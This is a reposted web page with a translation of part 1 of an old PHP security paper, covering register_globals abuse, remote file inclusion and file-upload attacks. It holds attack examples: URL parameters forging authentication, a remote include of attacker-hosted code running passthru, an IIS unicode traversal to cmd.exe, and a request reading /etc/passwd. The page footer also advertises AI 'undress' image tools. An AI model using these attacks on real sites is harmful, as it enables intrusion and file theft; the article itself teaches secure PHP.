Home Backend Development PHP Tutorial How to attack common vulnerabilities in PHP programs (Part 1)_PHP Tutorial

How to attack common vulnerabilities in PHP programs (Part 1)_PHP Tutorial

Jul 21, 2016 pm 04:07 PM
php superior how right common attack loopholes program translate conduct

How to attack common vulnerabilities in PHP programs (Part 1)
Translation: analysist (analyst)
Source: http://www.china4lert.org

How to attack common vulnerabilities in PHP programs Vulnerability Attack (Part 1)

Original author: Shaun Clowes
Translation: analysist

The reason why I translated this article is because the current articles about CGI security all use Perl as an example, while there are very few articles specifically introducing the security of ASP, PHP or JSP. This article by Shaun Clowes provides a comprehensive introduction to PHP security issues. The original article can be found at http://www.securereality.com.au/studyinscarlet.txt.

Because the original text is relatively long, and a considerable part is about introducing the background of the article or the basic knowledge of PHP, and does not involve PHP security, so I did not translate it. If you want to know more about this, please refer to the original article.

The article mainly analyzes the security of PHP from the aspects of global variables, remote files, file uploads, library files, Session files, data types and error-prone functions, and also discusses how to enhance the security of PHP. Some useful suggestions were made.

Okay, enough nonsense, let’s get down to business!

[Global variables]
Variables in PHP do not need to be declared in advance, they will be automatically created the first time they are used, and their types do not need to be specified, they will be automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient method. Obviously, this is also a very useful feature of rapid development languages. Once a variable is created, it can be used anywhere in the program. A consequence of this feature is that programmers rarely initialize variables; after all, when they are first created, they are empty.

Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client. end browser. In order to make it as easy as possible for PHP code to access user input, PHP actually treats this input data as global variables.

For example:






Obviously, this will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create any global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.

Translator’s Note: These two methods are what we usually call the “POST” and “GET” methods.
The following user authentication code exposes security issues caused by PHP's global variables:

if ($pass == "hello")
$auth = 1 ;
...
if ($auth == 1)
echo "some important information";
?>

The above code first checks whether the user's password is "hello", if matched, set "$auth" to "1", that is, the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.

On the surface it looks correct, and quite a few of us do it, but this code makes the mistake of assuming that "$auth" is empty when no value is set. , but did not expect that the attacker could create any global variable and assign a value. By using a method like "http://server/test.php?auth=1", we can completely deceive this code and make it believe that we have been authenticated. of.

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.

A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured with the "track_vars" option turned on (which is the default), user-submitted variables are available in global variables and the array mentioned above.

But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode, the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by relatively new PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.

[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a certain function. But from a security perspective, the more functions there are, the harder it is to ensure its security. Remote files are a good example of this problem:

if ( !($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?>

above The script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is another problem with this script. The most obvious feature is that it can read files from any other WEB or FTP site. In fact, most of PHP's file processing functions are transparent to remote files. For example:
If you specify "$filename" as "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
then the above code actually uses the host The unicode vulnerability on the target executes the dir command. This makes the include(), require(), include_once() and require_once() functions that support remote files more interesting in the context. The function is to include the contents of specified files and interpret them according to PHP code. It is mainly used for library files. For example:
include($libdir . "/languages. .php");
?>

In the above example, "$libdir" is usually a path that has been set before executing the code. If the attacker can prevent "$libdir" from being set, , then he can change this path. But the attacker can't do anything because they can only access the file languages.php in the path they specify (the "Poison null byte" attack in perl has no effect on PHP). With support for remote files, an attacker can do anything. For example, an attacker can place a file languages.php on a server with the following content:

passthru("/bin/ls /etc");
?>

Then set "$libdir" to "http:///" so that we can The above attack code is executed on the target host, and the contents of the "/etc" directory are returned to the customer's browser as a result.

It should be noted that the attacking server (i.e. evilhost) should not be able to execute PHP code, otherwise the attacking code will be executed on the attacking server instead of the target server. If you want to know the specific technical details, please refer to: http://www.securereality.com.au/sradv00006.txt

[File upload]
PHP automatically supports file upload based on RFC 1867, let’s look at the following example:







The above code allows the user to select a file from the local machine. Once you click Submit, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds makes it unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it will first accept the file from the remote user and check whether the length of the file exceeds the value defined by the "$MAX_FILE_SIZE variable". If it passes these For testing, the file will be stored in a local temporary directory.

Therefore, an attacker can send arbitrary files to the host running PHP. Before the PHP program decides whether to accept the file upload, the file has already been stored on the server.

I will not discuss the possibility of using file upload to conduct a DOS attack on the server here.

Let's consider a PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually /tmp), and the extension is usually Random, similar to "phpxXuoXG" form. The PHP program needs to upload the file's information in order to process it, and this can be done in two ways, one that was already used in PHP 3, and the other that was introduced after we made a security advisory on the previous method.

However, we can say with certainty that the problem still exists, and most PHP programs still use the old way to handle uploaded files.PHP sets four global variables to describe uploaded files, such as the above example:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/ plain")

Then the PHP program starts processing the file specified according to "$hello". The problem is that "$hello" is not necessarily a variable set by PHP, and any remote user can specify it. If we use the following method:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

results in the following PHP global variables (of course POST method is also possible (even Cookie)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

The above form data just meets the variables expected by the PHP program, but at this time the PHP program no longer processes the uploaded file, but processes "/etc/passwd ” (often resulting in content exposure). This attack can be used to expose the contents of any sensitive file.

As I said before, the new version of PHP uses HTTP_POST_FILES[] to decide to upload files. It also provides many functions to solve this problem. For example, there is a function to determine whether a file is actually Uploaded files. These functions solve this problem very well, but in fact there must be many PHP programs that still use the old method and are vulnerable to this attack.

As a variant of the file upload attack method, let’s take a look at the following piece of code:

if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

If the attacker can control "$theme", it is obvious that it can exploit " $theme" to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading does this for us. If the attacker first creates a file containing PHP code on the local machine, and then creates a form containing a file field named "theme" , and finally use this form to submit the created file containing PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$theme" to the file submitted by the attacker. In this way, the file_exists() function will pass the check and the attacker's code will be executed.

After gaining the ability to execute arbitrary instructions, the attacker obviously wants to escalate privileges or expand the results, which requires some tool sets that are not available on the server, and file uploading once again helped us. An attacker can use the file upload function to upload tools, store them on the server, and then use their ability to execute commands, use chmod() to change the permissions of the file, and then execute it. For example, an attacker can bypass the firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.



www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/315244.htmlTechArticleHow to attack common vulnerabilities in PHP programs (Part 1) Translation: analysist (analyst) Source: http: //www.china4lert.org How to attack common vulnerabilities in PHP programs (Part 1)...
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles